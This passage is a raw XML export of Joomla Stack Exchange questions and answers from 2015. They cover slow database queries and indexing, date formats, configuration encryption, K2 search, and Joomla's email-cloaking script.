a.catid = 105 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:28:40') ORDER BY a.created DESC; &#xA;  -------------------------------------------------------------------------------&gt;----------------------- &lt;/li&gt;&#xA;  &lt;li&gt;Executed 1h 20m 37s ago for 40.682781 sec on Database --&gt; sporthis_tory &#xA;  Date: 2015-08-24 22:12:41 Query_time: 40.682781 Rows_examined: 1320: Rows_sent 440 Lock_time: 0.000176 &#xA;  SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE a.catid = 111 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:11:50') ORDER BY a.created DESC; &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;sporthis_tory 175.1 MB &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;From the queries above we can conclude that your issue is caused by a not well written scripts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to start debugging something like this(finding the scripts that executes the query, optimizing the database),or it is just the site that is growing and we have to purchase a bigger plan?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Thank you for the usefull information. I want to add that site is down due to resource consumption, so I cannot login to access joomla admin panel until I fix this. I have run explain extended with the query and got this result &#xA;&gt;&#xA;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;id:1&lt;br&gt;&#xA;  select_type:SIMPLE&lt;br&gt;&#xA;  table:a&lt;br&gt;&#xA;  type:  index_merge&lt;br&gt;&#xA;  possible_keys: idx_access,idx_state,idx_catid&lt;br&gt;&#xA;  key: idx_catid,idx_state,idx_access&lt;br&gt;&#xA;  Key_len:   4,1,4&lt;br&gt;&#xA;  ref: NULL&lt;br&gt;&#xA;  rows: 1275&lt;br&gt;&#xA;  filtered: 75.06&lt;br&gt;&#xA;  Extra: Using intersect(idx_catid,idx_state,idx_access); Using where; Using filesort  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;id: 1&lt;br&gt;&#xA;  select_type: SIMPLE&lt;br&gt;&#xA;  table:     cc&lt;br&gt;&#xA;  type: const&lt;br&gt;&#xA;  possible_keys:     PRIMARY&lt;br&gt;&#xA;  key:   PRIMARY&lt;br&gt;&#xA;  Key_len: 4&lt;br&gt;&#xA;  ref:const&lt;br&gt;&#xA;  rows:  1&lt;br&gt;&#xA;  filtered:  100.00&lt;br&gt;&#xA;  Extra:  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have no experience on indexing databases and I want to get this right, I have to create a new index with all three columns (idx_catid,idx_state,idx_access) or are they already indexed? Also on the extra note I am guesing that this query comes from a joomla module, is there any way I can discover wich module executes this strange queries? Note that I am not the creator of the site , I have just been asked to solve this issue. &lt;/p&gt;&#xA;" OwnerUserId="5795" LastEditorUserId="126" LastEditDate="2015-08-26T15:48:32.923" LastActivityDate="2015-08-26T15:48:32.923" Title="Not well written script cause high resource consumption" Tags="|joomla-2.5|database|performance|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12310" PostTypeId="2" ParentId="12279" CreationDate="2015-08-25T13:22:46.183" Score="2" Body="&lt;p&gt;As I thought, the whole profile page is a core K2 functionality, no way to directly disable it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only solution is to remove any link to these pages with overrides to either modules or K2 content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still the pages are active and reachable. In this case the best thing to do is to create a redirect rule, I did mine in .htaccess, but please che my update in my question. With this redirect I can block any author page requested and serve a system 404 error page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 404 ^.*/authors/.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="5650" LastEditDate="2015-08-25T15:33:30.800" LastActivityDate="2015-08-25T15:33:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12311" PostTypeId="1" CreationDate="2015-08-25T13:25:10.863" Score="0" ViewCount="132" Body="&lt;p&gt;I am developing a Joomla Administrator Component. In the Toolbar, I created a Button via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('administrat.saveIt', 'save.png', 'save.png', 'SOME_TEXT', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my controller, the function &lt;code&gt;saveIt&lt;/code&gt; does not contain any Redirect statement. Still, when I klick the button it redirects me to an empty page, which i do not want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can i do, to Prevent this Button from redirecting?&lt;/p&gt;&#xA;" OwnerUserId="3945" LastActivityDate="2015-08-25T16:00:38.373" Title="How to use a Toolbar Button without redirect?" Tags="|component|administrator|redirect|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="2" ParentId="12309" CreationDate="2015-08-25T15:15:33.697" Score="2" Body="&lt;p&gt;While there are a lot of actions that you can take to fix this, my main recommendation should hopefully be pretty quick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First though, how to troubleshoot these issues. Since they give you the slow queries, you should start by seeing why they are slow! The database will tell you this to a degree, so log into your DB (either using the command line or something like PhpMyAdmin). Run one of the slow queries with the word &lt;code&gt;EXPLAIN&lt;/code&gt; at the start:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EXPLAIN SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE a.catid = 105 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:22:36') ORDER BY a.created DESC;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should give you a table of data telling you how your database is going to get this information. Things I would expect to see in this (without having actually run the explain...):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The join is on the id for #__categories, so that should be loading the extra table by a key&lt;/li&gt;&#xA;&lt;li&gt;It should also tell you what key (if any) it is using to load records from the #__content table. Joomla by default ships with an index on catid, state, and access, which are all in your &lt;code&gt;WHERE&lt;/code&gt; clause and could thus be used&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My recommendation for optimization is usually to figure out what index it is trying to use and then add a better index to the table to support this kind of query. (And remember that the trade-off with indexes is always faster read time for slower write time, so if you add a lot of indexes, you should be able to select records faster but add new records slower.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In looking at everything you select on, you want a specific catid, state, and access, so adding an index that uses all three of these columns in one should let the DB select the correct rows even faster. There will still be some DB processes as it has to sort them by &lt;code&gt;created&lt;/code&gt; to order them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually make your decision, I recommend copying the database for your website locally, add different indexes to the g06j5_content table, and keep running that &lt;code&gt;EXPLAIN&lt;/code&gt; query until you get the query to run primarily off indexes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One extra note, you can see in your queries that you do both a check for &lt;code&gt;a.state = 1&lt;/code&gt; and &lt;code&gt;(a.state = 1 OR a.state = -1)&lt;/code&gt;. This is obviously a useless check, since state can not equal 1 and -1 for the same record, meaning that having &lt;code&gt;(a.state = 1 OR a.state = -1)&lt;/code&gt; in this at all is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recommend trying to track down anything like that and remove it, since the DB has a query optimizer that will remove the second check (since it adds no value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to actually modify the query, I would want to figure out why you are selecting two exact publish_up times: &lt;code&gt;(publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:11:50')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no index on publish_up times, so it generally means that the DB has to search every record to find if this is true or not. I'm not sure what the underlining logic is in selecting by a specific publish_up time, since that will so rarely be true.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-08-25T15:15:33.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12314" PostTypeId="1" AcceptedAnswerId="12315" CreationDate="2015-08-25T15:44:41.013" Score="5" ViewCount="7256" Body="&lt;p&gt;I would like to change the backend Joomla 3.0 date format for a custom component. Right now the component is taking the Joomla date backend format which is Y-m-d and that I need to change to d-m-Y for the custom component. I couldn't find where to change that format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But one thing I found that the component date format code is coming from the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;date; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I would like to show the date in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo date_format($date, 'd-m-Y H:i:s');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But don't know how I am going to implement it with the Joomla code. Need an idea on this.&lt;/p&gt;&#xA;" OwnerUserId="4096" LastActivityDate="2022-09-26T06:22:11.247" Title="How to change Joomla date format in a component" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="2" ParentId="12314" CreationDate="2015-08-25T15:46:59.237" Score="8" Body="&lt;p&gt;You can set the date using &lt;code&gt;JHtml&lt;/code&gt; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('date', $item-&amp;gt;date, 'd-m-Y H:i:s'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all you need to do is replace &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;date; ?&amp;gt;&lt;/code&gt; with the above code&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-25T15:46:59.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostTypeId="2" ParentId="12314" CreationDate="2015-08-25T15:56:48.030" Score="2" Body="&lt;p&gt;You can use pre formated strings and change in language files ex.: /language/en-GB/en-GB.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_LC=&quot;l, d F Y&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_LC1=&quot;l, d F Y&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_LC2=&quot;l, d F Y H:i&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_LC3=&quot;d F Y&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_LC4=&quot;d.m.y&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DATE_FORMAT_JS1=&quot;d-m-y&quot;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-25T15:56:48.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostTypeId="2" ParentId="12309" CreationDate="2015-08-25T17:09:22.940" Score="2" Body="&lt;p&gt;You can activate the debug mode in Joomla Settings. This will print a pretty list of all queries at the end of each page including many debug information. This list also tells you how long a query took and what indexes it uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seam you have 5593 articles in your database that could be a reason why it tooks so long, maybe the default indexes don't help on such a big amount of articles.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-08-25T17:09:22.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12320" PostTypeId="1" CreationDate="2015-08-25T19:16:38.843" Score="4" ViewCount="465" Body="&lt;p&gt;I am building a Joomla! 3.x component that connects to an API. The API settings are currently established in the component configuration. The configuration details are stored in plain text in the database, which is not desirable. Is it possible to instruct Joomla! to encrypt configuration data? If so, how is this done.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2015-08-26T16:34:45.030" Title="How do you encrypt configuration data?" Tags="|joomla-3.x|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12323" PostTypeId="1" CreationDate="2015-08-25T22:59:49.230" Score="0" ViewCount="955" Body="&lt;p&gt;My site is a photography gallery website built with K2. Each K2 item is a photo. I have attached extra fields to each of the photos, for example, resolution, shot by what camera, style, etc. I'd like to allow users to search and sort the photos by these extra fields. It seems to me that normal search will only search K2 item's introtext and fulltext, is there anyway to search these extra fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, is there any extension better than K2 to handle these kinds of contents?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="115" LastEditDate="2016-02-14T23:33:32.783" LastActivityDate="2016-08-13T07:24:48.833" Title="K2: Search Extra fields" Tags="|k2|search|images|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostTypeId="2" ParentId="12283" CreationDate="2015-08-25T23:36:51.663" Score="0" Body="&lt;p&gt;Funnily enough we had this occur yesterday on a site we're migrating from 2.5 to 3.4.2 (in that case it occurred after updating the template to a point release that came out yesterday).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearing &lt;strong&gt;both&lt;/strong&gt; Joomla's cache &lt;em&gt;and&lt;/em&gt; the browsers cache resolved the problem for us. &lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-08-25T23:36:51.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12325" PostTypeId="2" ParentId="12283" CreationDate="2015-08-26T03:12:49.703" Score="0" Body="&lt;p&gt;I'm unable to replicate your problem at my end, even by editing the featured and first article. I'd suggest you to delete that &lt;strong&gt;About Me&lt;/strong&gt; article and recreate it again.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-08-26T03:12:49.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostTypeId="2" ParentId="12162" CreationDate="2015-08-26T03:18:01.070" Score="0" Body="&lt;p&gt;Working on a similar problem, I found that previously successful &lt;code&gt;$param-&amp;gt;get()&lt;/code&gt; requests are working 3.4.0 code must be changed to &lt;code&gt;$this-&amp;gt;param-&amp;gt;get()&lt;/code&gt; to work in 3.4.3+. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a couple of properties - &lt;code&gt;access-view&lt;/code&gt; and &lt;code&gt;access-edit&lt;/code&gt; - appear to no longer be used. I found Krumo to be handy for tracking this down.&lt;/p&gt;&#xA;" OwnerUserId="5799" LastEditorUserId="168" LastEditDate="2015-08-26T07:18:25.180" LastActivityDate="2015-08-26T07:18:25.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12327" PostTypeId="2" ParentId="12143" CreationDate="2015-08-26T08:22:30.687" Score="4" Body="&lt;h2&gt;System Requirements for Joomla! 3.x&lt;/h2&gt;&#xA;&lt;p&gt;Also for those that are just starting and want to setup their environment, or simply need to install Joomla, these are the basic system requirements for Joomla to work:&lt;/p&gt;&#xA;&lt;h3&gt;PHP:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;5.4+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;5.3.10+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Magic Quotes GPC off&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.php.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.php.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Supported Databases:&lt;/h3&gt;&#xA;&lt;p&gt;MySQL:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;5.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;5.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;InnoDB support required&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mysql.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mysql.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;SQL Server:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;10.50.1600.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;10.50.1600.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.microsoft.com/sql&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.microsoft.com/sql&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;PostgreSQL:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;5.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;5.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.postgresql.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.postgresql.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Supported Web Servers:&lt;/h3&gt;&#xA;&lt;p&gt;Apache:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Modules:&lt;/em&gt; &lt;strong&gt;mod_mysql, mod_xml, and mod_zlib&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;2.x+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;2.x+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.apache.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.apache.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Nginx:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;1.1+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;1.0+&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.nginx.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.nginx.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Microsoft IIS:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Recommended&lt;/em&gt;: &lt;strong&gt;7&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Minimum&lt;/em&gt;: &lt;strong&gt;7&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-26T08:39:19.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12328" PostTypeId="2" ParentId="12283" CreationDate="2015-08-26T08:48:58.710" Score="1" Body="&lt;p&gt;I can't reproduce this on a clean install with protostar and TinyMCE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it happening only when site is offline?&lt;br&gt;&#xA;On all pages, or on a few or only a single page?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's only on a specific pages, see what other extensions exist on that page as it can be a conflict with these. Disable those extensions, clear caches and try again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure you have error displaying and debugging set to off when you are trying, as this sometimes may be the cause of such issues.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-26T08:48:58.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12331" PostTypeId="1" AcceptedAnswerId="12335" CreationDate="2015-08-26T13:30:12.787" Score="3" ViewCount="3790" Body="&lt;p&gt;I've only noticed this issue on one of my sites. I recently upgraded it from 2.5 to 3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On certain (k2 contact) pages where there is an email address displayed I am seeing this right beside the email;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This email address is being protected from spambots. You need&#xA;  JavaScript enabled to view it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I view the source I also see strange JavaScript at this point in the page;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA; //&amp;lt;!--&#xA; document.getElementById('cloak99677').innerHTML = '';&#xA; var prefix = '&amp;amp;#109;a' + 'i&amp;amp;#108;' + '&amp;amp;#116;o';&#xA; var path = 'hr' + 'ef' + '=';&#xA; var addy99677 = '&amp;amp;#101;d&amp;amp;#101;vl&amp;amp;#105;n492' + '&amp;amp;#64;';&#xA; addy99677 = addy99677 + 'c2kn&amp;amp;#105;' + '&amp;amp;#46;' + 'n&amp;amp;#101;t';&#xA; document.getElementById('cloak99677').innerHTML += '&amp;lt;a ' + path + '\'' + prefix + ':' + addy99677 + '\'&amp;gt;' +addy99677+'&amp;lt;\/a&amp;gt;';&#xA; //--&amp;gt;&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this has happened, and how to solve it?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="126" LastEditDate="2015-08-26T16:26:52.863" LastActivityDate="2015-08-26T16:31:54.083" Title="Email address being protected from spambots" Tags="|joomla-3.x|javascript|emails|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12332" PostTypeId="2" ParentId="8798" CreationDate="2015-08-26T13:43:41.033" Score="1" Body="&lt;p&gt;You don't have to use any component or plugin to control your k2 access. You can create groups and set permissions in Joomla Users Groups.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To create new group go to Menu: User &gt;&gt; Groups &gt;&gt; Add New Gorup like &quot;Group A&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Users &gt;&gt; Access Levels &gt;&gt; Add New Access level like &quot;Group A&quot; and select check box &quot;Group A&quot; you creat in step 1;&lt;/li&gt;&#xA;&lt;li&gt;Creat users and set his group to &quot;Group A&quot;;&lt;/li&gt;&#xA;&lt;li&gt;In K2, create content and set permission to &quot;Group A&quot; created in step 1. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-08-26T15:55:52.040" LastActivityDate="2015-08-26T15:55:52.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12333" PostTypeId="2" ParentId="12331" CreationDate="2015-08-26T13:47:04.270" Score="2" Body="&lt;p&gt;This error occurs when you send a form and have some problem, the plugin &quot;Content - Email Cloaking&quot; hide the email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can solve this, by disabling this plugin:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extension &gt;&gt; Plugin Manager &gt;&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Search &quot;email&quot; &gt;&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Disable &quot;Content - Email Cloaking&quot;;  &lt;/li&gt;&#xA;&lt;li&gt;Try again, this error won't happen again;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-08-26T15:59:11.840" LastActivityDate="2015-08-26T15:59:11.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostTypeId="2" ParentId="10939" CreationDate="2015-08-26T13:49:41.763" Score="1" Body="&lt;p&gt;If you truly disabled the plugin in database but your admin area is still redirecting you, you can try clearing your browser's cache. In some cases Chrome, Explore and Safari are persistent with redirects...&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-08-26T16:50:44.933" LastActivityDate="2015-08-26T16:50:44.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostTypeId="2" ParentId="12331" CreationDate="2015-08-26T16:12:33.663" Score="3" Body="&lt;p&gt;That's the result of email-cloacking plugin. &#xA;This is how an email address that exists inside the content, and is obfuscated with javascript, looks in the source code of the document, in order to be hidden from bots, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Javascript is enabled, the above will result in the original email address be printed on the page - otherwise it will display the message you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the message you are getting, we may conclude that either Javascript is disabled on the client side - or it can be some other kind of javascript issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example of cases where you could get this, instead of the email address, is if you are rendering this page's content, through a view that is not loading javascript e.g. a pdf generation layout, while the cloaking plugin has already replaced the email address with its obscured element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking the big image, protecting any email address from being exposed and grabbed by spambots is a good thing. But if this is giving your problems, then you can disable the &lt;strong&gt;Email Cloaking Plugin&lt;/strong&gt;, from the plugin manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core plugin is prone to giving errors of this kind. If you are looking for a more stable solution, then you could try &lt;strong&gt;&lt;a href=&quot;https://www.nonumber.nl/extensions/emailprotector&quot; rel=&quot;nofollow&quot;&gt;NoNumbers Email Protector&lt;/a&gt;&lt;/strong&gt; plugin - which is free.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-26T16:31:54.083" LastActivityDate="2015-08-26T16:31:54.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostTypeId="2" ParentId="12320" CreationDate="2015-08-26T16:34:45.030" Score="2" Body="&lt;p&gt;You can do this with a plugin I suppose, there are two events you would need to target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On save the event name is &quot;onExtensionBeforeSave&quot; and on loading the saved details &quot;onContentPrepareForm&quot; to insure data integrity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can in the plugin target your component and those events. &lt;a href=&quot;https://docs.joomla.org/Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is a good starting place on how to build a plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can then use &lt;a href=&quot;https://joomla.stackexchange.com/users/168/lodder&quot;&gt;Lodder's&lt;/a&gt; suggestion of BCrypt for you encryption or you can take a look at &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JCrypt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCrypt&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-08-26T16:34:45.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12338" PostTypeId="2" ParentId="10967" CreationDate="2015-08-26T21:37:58.593" Score="0" Body="&lt;h1&gt;Tab &amp;amp; Sliders : Module vs Plugin&lt;/h1&gt;&#xA;&lt;p&gt;Well, I suspect that there is a misunderstanding about what plugin and modules are and how they work.&lt;/p&gt;&#xA;&lt;p&gt;Especially in this case, the extension &lt;strong&gt;Tabs &amp;amp; Sliders&lt;/strong&gt; by JoomlaWorks comes in both a plugin and a module version.&lt;/p&gt;&#xA;&lt;h3&gt;Plugin&lt;/h3&gt;&#xA;&lt;p&gt;The plugin version works by inserting specific strings of the type &lt;code&gt;{tabs=tab one}{/tabs}&lt;/code&gt; into your content (articles) and it will display tabs or sliders on these articles and only.&lt;/p&gt;&#xA;&lt;p&gt;So, it's this kind of a manual process to choose where to show tabs using the plugin.&lt;/p&gt;&#xA;&lt;h3&gt;Module&lt;/h3&gt;&#xA;&lt;p&gt;Regarding the module version, it works like all other modules. You create a new module instance in module manager, you adjust its settings, select its position according to the available positions of the template and set it to published. Module manager allows for control over which menu items a module should be displayed.&lt;/p&gt;&#xA;&lt;p&gt;So far, 